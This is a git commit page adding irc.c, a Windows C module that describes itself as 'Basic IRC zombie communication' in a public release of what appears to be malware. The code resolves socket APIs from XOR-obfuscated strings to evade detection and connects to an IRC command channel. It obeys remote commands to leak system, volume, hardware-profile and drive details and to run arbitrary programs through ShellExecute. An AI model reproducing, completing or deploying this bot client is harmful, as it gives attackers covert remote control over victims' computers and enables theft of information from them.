diff options
author | Toni Uhlig <matzeton@googlemail.com> | 2020-05-24 16:48:22 +0200 |
---|---|---|
committer | Toni Uhlig <matzeton@googlemail.com> | 2020-05-25 21:57:14 +0200 |
commit | 31c69b6ca1b91e7fd9fd8e14082fd2584c5f538c (patch) | |
tree | 16e789c7d68608831b498f41f54d9482b82a711a /source/irc.c |
first public release
Signed-off-by: Toni Uhlig <matzeton@googlemail.com>
Diffstat (limited to 'source/irc.c')
-rw-r--r-- | source/irc.c | 402 |
1 files changed, 402 insertions, 0 deletions
diff --git a/source/irc.c b/source/irc.c new file mode 100644 index 0000000..f56147e --- /dev/null +++ b/source/irc.c @@ -0,0 +1,402 @@ +/* + * Module: irc.c + * Author: Toni <matzeton@googlemail.com> + * Purpose: Basic IRC zombie communication. + * Origin: https://bbs.archlinux.org/viewtopic.php?id=64254 + */ + +#include <winsock2.h> +#include <windows.h> + +#include "compat.h" +#include "irc.h" +#include "utils.h" +#include "crypt.h" +#include "crypt_strings.h" +#include "xor_strings_gen.h" + + +typedef int WSAAPI (*InitFunc) (WORD wVersionRequested, LPWSADATA lpWSAData); +typedef int WSAAPI (*GetLastErrorFunc) (void); +typedef SOCKET WSAAPI (*socketFunc) (int af, int type, int proto); +typedef int WSAAPI (*shutdownFunc) (SOCKET s, int how); +typedef int WSAAPI (*closesocketFunc) (SOCKET s); +typedef int WSAAPI (*getaddrinfoFunc)(PCSTR pNodeName, PCSTR pServiceName, const ADDRINFOA* pHints, PADDRINFOA* ppResult); +typedef int WSAAPI (*connectFunc) (SOCKET s, const struct sockaddr* name, int namelen); +typedef int WSAAPI (*sendFunc) (SOCKET s, const char* buf, int len, int flags); +typedef int WSAAPI (*recvFunc) (SOCKET s, char* buf, int len, int flags); +typedef int WSAAPI (*setsockoptFunc) (SOCKET s, int level, int optname, const char* optval, int optlen); + + +static ApiCall_t* SocketApi = NULL; +#define FUNC(i) (SocketApi[XOR_SOCK_FUNCS_END-i-1].func_ptr) +#define RUN_FUNC(i, type, ...) ((type)SocketApi[XOR_SOCK_FUNCS_END-i-1].func_ptr)(__VA_ARGS__) + +#define DECRYPT_AND_LIBGETPROC(i, lib, dest) { DBUF(i, tmp); dest = getproc(lib, tmp); } +#define DECRYPT_AND_GETPROC(i, dest) DECRYPT_AND_LIBGETPROC(i, socklib, dest) +#define DECRYPT_AND_GETPROCF(i) DECRYPT_AND_LIBGETPROC(i, socklib, FUNC(i)) + + +static WSADATA wsaData = {0}; +static struct addrinfo* irc_ip = NULL; +static SOCKET sock = INVALID_SOCKET; + +static char* recv_buf = NULL; +static char* send_buf = NULL; +static char* tmp_buf = NULL; + + +int checkSockStr(const char* chkbuf, enum stridx i) +{ + DBUF(i, needle); + int ret = COMPAT(strnicmp)(chkbuf, needle, CLEN(i)); + return ret; +} + +int initSocket(LoadLibraryFunc loadlib, GetProcAddressFunc getproc) +{ + if (SocketApi == NULL) { + SocketApi = COMPAT(calloc)(1, sizeof(struct ApiCall)*(XOR_SOCK_FUNCS_END-XOR_SOCK_FUNCS_START-1)); + if (SocketApi == NULL) + return -1; + + DBUF(SOCKDLL_ENUM, __nameSDLL); + HMODULE socklib = loadlib(__nameSDLL); + if (socklib == NULL) + return -2; + + BOOL ret = TRUE; + for (unsigned i = XOR_SOCK_FUNCS_START+1; i < XOR_SOCK_FUNCS_END; ++i) { + if (FUNC(i)) + continue; + DECRYPT_AND_GETPROCF(i); + if (!FUNC(i)) + ret = FALSE; + } + if (!ret) + return -3; + } + + if (!recv_buf) { + recv_buf = COMPAT(calloc)(S_BUFSIZ, sizeof(char)); + if (!recv_buf) + return -4; + } + if (!send_buf) { + send_buf = COMPAT(calloc)(S_BUFSIZ+1, sizeof(char)); + if (!send_buf) + return -4; + } + if (!tmp_buf) { + tmp_buf = COMPAT(calloc)(S_BUFSIZ+1, sizeof(char)); + if (!tmp_buf) + return -4; + } + + if (SocketApi) { + int res = RUN_FUNC(SOCKFUNC_INIT_ENUM, InitFunc, 0x202, &wsaData); /* WSA 2.2 */ + if (res != 0) + return -5; + } + + return 0; +} + +int shutSocket(void) +{ + if (!SocketApi) + return -1; + if (RUN_FUNC(SOCKFUNC_SHUTDOWN_ENUM, shutdownFunc, sock, SD_BOTH) != 0 + || RUN_FUNC(SOCKFUNC_CLOSESOCKET_ENUM, closesocketFunc, sock) == SOCKET_ERROR) + return RUN_FUNC(SOCKFUNC_ERROR_ENUM, GetLastErrorFunc); + return 0; +} + +int ircRaw(const char* fmt, ...) +{ + if (!SocketApi) + return -1; + + va_list ap; + va_start(ap, fmt); + int ret = COMPAT(vsnprintf)(tmp_buf, S_BUFSIZ+1, fmt, ap); + va_end(ap); + + if (ret <= 0) + goto error; + size_t len = (ret < S_BUFSIZ ? ret : S_BUFSIZ); +#ifdef _PRE_RELEASE + COMPAT(printf)("irc_raw(%d/%d): %s\n", ret, len, tmp_buf); +#endif + ret = RUN_FUNC(SOCKFUNC_SEND_ENUM, sendFunc, sock, tmp_buf, len, 0); + if (ret == SOCKET_ERROR) + goto error; + +error: + return ret; +} + +int ircPrivmsg(const char* target, size_t totalSiz, const char* fmt, ...) +{ + char* buf = COMPAT(calloc)(totalSiz+1, sizeof(char)); + off_t iBuf = 0; + + va_list ap; + va_start(ap, fmt); + int ret = COMPAT(vsnprintf)(buf, totalSiz+1, fmt, ap); + va_end(ap); + + char* msgfmt = "PRIVMSG %s :%s\r\n"; + size_t fmtsiz = COMPAT(strlen)(target) + COMPAT(strlen)(msgfmt) - 4 /* len('%s')*2 */; + char tmp[S_BUFSIZ - fmtsiz + 1]; + while (ret > 0 && ret != SOCKET_ERROR) { + size_t bufsiz = ((size_t)ret > S_BUFSIZ-fmtsiz ? S_BUFSIZ-fmtsiz : (size_t)ret); + COMPAT(memcpy)(&tmp[0], &buf[0]+iBuf, bufsiz); + tmp[bufsiz] = 0; + + int s = ircRaw(msgfmt, target, &tmp[0]) - fmtsiz; + ret -= s; + iBuf += s; + + _WaitForSingleObject(_GetCurrentThread(), 500); + } + COMPAT(free)(buf); + return iBuf; +} + +int ircPrivmsgBinary(char* target, const unsigned char* buf, size_t siz) +{ + SIZE_T newsiz = 0; + char* hexstr = __xbintostr(buf, siz, 1, &newsiz); + int ret = -1; + + if (hexstr && newsiz) { + ret = ircPrivmsg(target, newsiz, "%s", hexstr); + COMPAT(free)(hexstr); + } + return ret; +} + +int ircLoop(const char* nick, const char* channel, const char* host, const char* port) +{ + if (!SocketApi) + return -1; + + char *user, *command, *where, *message, *sep, *target; + int i, j, l, sl, o = -1, start = 0, wordcount; + struct addrinfo hints = {0}; + + hints.ai_family = AF_INET; + hints.ai_socktype = SOCK_STREAM; + hints.ai_protocol = IPPROTO_TCP; + if (!irc_ip && RUN_FUNC(SOCKFUNC_GETADDRINFO_ENUM, getaddrinfoFunc, host, port, &hints, &irc_ip) != 0) { + return RUN_FUNC(SOCKFUNC_ERROR_ENUM, GetLastErrorFunc); + } + if (irc_ip->ai_addrlen != sizeof(struct sockaddr_in) /* TCP/IP version 4 */) + return -2; + + sock = RUN_FUNC(SOCKFUNC_SOCKET_ENUM, socketFunc, irc_ip->ai_family, irc_ip->ai_socktype, irc_ip->ai_protocol); + if (sock == INVALID_SOCKET) { + return RUN_FUNC(SOCKFUNC_ERROR_ENUM, GetLastErrorFunc); + } else { + int sopt = R_BUFSIZ; + RUN_FUNC(SOCKFUNC_SETSOCKOPT_ENUM, setsockoptFunc, sock, SOL_SOCKET, SO_RCVBUF, (const char*)&sopt, sizeof(sopt)); + sopt = S_BUFSIZ; + RUN_FUNC(SOCKFUNC_SETSOCKOPT_ENUM, setsockoptFunc, sock, SOL_SOCKET, SO_SNDBUF, (const char*)&sopt, sizeof(sopt)); + sopt = S_TIMEOUT; + /* SO_RECVTIMEO should not less then irc server PING(-command) time */ + //sApi->setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, (const char*)&sopt, sizeof(sopt)); + RUN_FUNC(SOCKFUNC_SETSOCKOPT_ENUM, setsockoptFunc, sock, SOL_SOCKET, SO_SNDTIMEO, (const char*)&sopt, sizeof(sopt)); + unsigned char copt = 1; + RUN_FUNC(SOCKFUNC_SETSOCKOPT_ENUM, setsockoptFunc, sock, SOL_SOCKET, SO_KEEPALIVE,(const char*)&copt, sizeof(copt)); + } + +#ifdef _PRE_RELEASE + struct sockaddr_in* addr = (struct sockaddr_in*)irc_ip->ai_addr; + COMPAT(printf)("%s to %u.%u.%u.%u:%u\n", "irc: connecting", + addr->sin_addr.S_un.S_un_b.s_b1, addr->sin_addr.S_un.S_un_b.s_b2, + addr->sin_addr.S_un.S_un_b.s_b3, addr->sin_addr.S_un.S_un_b.s_b4, + SWAP_ENDIANESS16(addr->sin_port)); +#endif + if (RUN_FUNC(SOCKFUNC_CONNECT_ENUM, connectFunc, sock, irc_ip->ai_addr, irc_ip->ai_addrlen) != 0) + return RUN_FUNC(SOCKFUNC_ERROR_ENUM, GetLastErrorFunc); + +#ifdef _PRE_RELEASE + COMPAT(printf)("%s\n", "irc: connected !!"); +#endif + ircRaw("USER %s 0 0 :%s\r\n", nick, nick); + ircRaw("NICK %s\r\n", nick); + + while ((sl = RUN_FUNC(SOCKFUNC_RECV_ENUM, recvFunc, sock, recv_buf, S_BUFSIZ, 0)) != 0 && sl != SOCKET_ERROR) { + for (i = 0; i < sl; i++) { + o++; + send_buf[o] = recv_buf[i]; + if ((i > 0 && recv_buf[i] == '\n' && recv_buf[i - 1] == '\r') || o == S_BUFSIZ) { + send_buf[o + 1] = '\0'; + l = o; + o = -1; +#ifdef _PRE_RELEASE + COMPAT(printf)("irc: %s", send_buf); +#endif + if (!checkSockStr(send_buf, SOCKSTR_PING_ENUM)) { + send_buf[1] = 'O'; + ircRaw("%s", send_buf); + } else if (send_buf[0] == ':') { + wordcount = 0; + user = command = where = message = NULL; + for (j = 1; j < l; j++) { + if (send_buf[j] == ' ') { + send_buf[j] = '\0'; + wordcount++; + switch(wordcount) { + case 1: user = send_buf + 1; break; + case 2: command = send_buf + start; break; + case 3: where = send_buf + start; break; + } + if (j == l - 1) continue; + start = j + 1; + } else if (send_buf[j] == ':' && wordcount == 3) { + if (j < l - 1) message = send_buf + j + 1; + break; + } + } + + if (wordcount < 2) continue; + + if (!checkSockStr(command, SOCKSTR_MOTD_ENUM) && channel) { + ircRaw("JOIN %s\r\n", channel); + } else + if (!checkSockStr(command, SOCKSTR_PRIVMSG_ENUM) || !checkSockStr(command, SOCKSTR_NOTICE_ENUM)) { + if (where == NULL || message == NULL) continue; + if ((sep = strchr(user, '!')) != NULL) user[sep - user] = '\0'; + if (where[0] == '#' || where[0] == '&' || where[0] == '+' || where[0] == '!') target = where; else target = user; +#ifdef _PRE_RELEASE + COMPAT(printf)("[from: %s] [reply-with: %s] [where: %s] [reply-to: %s] %s\n", user, command, where, target, message); + ircRaw("PRIVMSG %s :%s\r\n", target, message); +#endif + /* GetCommandLine(), GetSystemInfo(...), GetVolumeInformation(...), GetCurrentHwProfile(...), ShellExecute(...) */ + if (!checkSockStr(message, SOCKCMD_GETCMD_ENUM)) { +#ifdef _PRE_RELEASE + COMPAT(printf)("irc: COMMAND: GetCommandLine !!\n"); +#endif + char* cmdline = _GetCommandLine(); + if (ircPrivmsg(target, COMPAT(strlen)(cmdline), "%s", cmdline) <= 0) + break; + } else + if (!checkSockStr(message, SOCKCMD_GETSYS_ENUM)) { +#ifdef _PRE_RELEASE + COMPAT(printf)("irc: COMMAND: GetSystemInfo !!\n"); +#endif + SYSTEM_INFO si; + _GetSystemInfo(&si); + if (ircPrivmsgBinary(target, (unsigned char*)&si, sizeof(si)) <= 0) + break; + } else + if (!checkSockStr(message, SOCKCMD_GETVOL_ENUM)) { +#ifdef _PRE_RELEASE + COMPAT(printf)("irc: COMMAND: GetVolumeInformation !!\n"); +#endif + char* root = NULL; + if (qtok(message, &message) && *message) { + root = qtok(message, &message); + if (root) { + size_t len = COMPAT(strlen)(root); + /* 0'ing \r\n */ + if (len >= 2) { + root[len-1] = 0; + root[len-2] = 0; + } + } + } + struct gvi { + char volname[128]; + DWORD volserial; + DWORD volflags; + char volfs[32]; + }; + struct gvi _gvi = {{0}, 0, 0, {0}}; + if (_GetVolumeInformation(root, _gvi.volname, sizeof(_gvi.volname), &_gvi.volserial, NULL, &_gvi.volflags, _gvi.volfs, sizeof(_gvi.volfs)) == TRUE) { + if (ircPrivmsgBinary(target, (unsigned char*)&_gvi, sizeof(_gvi)) <= 0) + break; + } else { + ircRaw("PRIVMSG %s :ERROR\r\n", target); + } + } else + if (!checkSockStr(message, SOCKCMD_GETHWPROFILE_ENUM)) { +#ifdef _PRE_RELEASE + COMPAT(printf)("irc: COMMAND: GetCurrentHwProfile !!\n"); +#endif + HW_PROFILE_INFO hw; + if (_GetCurrentHwProfile(&hw)) { + if (ircPrivmsgBinary(target, (unsigned char*)&hw, sizeof(hw)) <= 0) + break; + } else { + DBUF(SOCKCMD_FMT0_ENUM, __nameFMT0); + DBUF(SOCKCMD_MSGERR_ENUM, __nameMSGERR); + ircPrivmsg(target, COMPAT(strnlen)(__nameMSGERR, CLEN(SOCKCMD_MSGERR_ENUM)), __nameFMT0, __nameMSGERR); + } + } else + if (!checkSockStr(message, SOCKCMD_SHELLEXEC_ENUM)) { +#ifdef _PRE_RELEASE + COMPAT(printf)("irc: COMMAND: ShellExecute !!\n"); +#endif + char* file = NULL; + char* params = NULL; + char* showCmd = NULL; + size_t len = 0; + if (qtok(message, &message) && *message) { + file = qtok(message, &message); + if (file && *message) { + params = qtok(message, &message); + if (params && *message) { + showCmd = qtok(message, &message); + if (showCmd) { + len = COMPAT(strlen)(showCmd); + /* 0'ing \r\n */ + if (len >= 2) { + showCmd[len-1] = 0; + showCmd[len-2] = 0; + } + } + } + } + } + if (len > 0) { + long scmd = strtol(showCmd, NULL, 10); + DBUF(SOCKCMD_SHELLOP_ENUM, __nameSHOP); + DBUF(SOCKCMD_FMT1_ENUM, __nameFMT1); + DBUF(SOCKCMD_MSGERR_ENUM, __nameMSGERR); + HINSTANCE si = _ShellExecute(NULL, __nameSHOP, file, params, NULL, scmd); + if ((int)si <= 32) { + ircPrivmsg(target, COMPAT(strnlen)(__nameMSGERR, CLEN(SOCKCMD_MSGERR_ENUM)) + 12 /* len(int32_max)+ len(': ') */ + , __nameFMT1, __nameMSGERR, (int)si); + } + } else { + DBUF(SOCKCMD_FMT0_ENUM, __nameFMT0); + DBUF(SOCKCMD_MSGSHELL_ENUM, __nameMSGSH); + ircPrivmsg(target, COMPAT(strnlen)(__nameMSGSH, CLEN(SOCKCMD_MSGSHELL_ENUM)), __nameFMT0, __nameMSGSH); + } + } else + if (!checkSockStr(message, SOCKCMD_ENUMDEVICES_ENUM)) { + struct LogicalDrives* devs = COMPAT(calloc)(DEFAULT_DEVS, sizeof(struct LogicalDrives)); + if (devs) { + DWORD count = dwEnumDrives(devs, DEFAULT_DEVS); + DBUF(SOCKCMD_FMT0_ENUM, __nameFMT0); + DBUF(SOCKCMD_MSGERR_ENUM, __nameMSGERR); + if (count > 0) { +#ifdef _PRE_RELEASE + COMPAT(printf)("irc: COMMAND: EnumDrives: %d !!\n", (int)count); +#endif + ircPrivmsgBinary(target, (unsigned char*)devs, count*sizeof(struct LogicalDrives)); + } else ircPrivmsg(target, COMPAT(strnlen)(__nameMSGERR, CLEN(SOCKCMD_MSGERR_ENUM)), __nameFMT0, __nameMSGERR); + COMPAT(free)(devs); + } + } + } + } + } + } + } + + return 0; +} |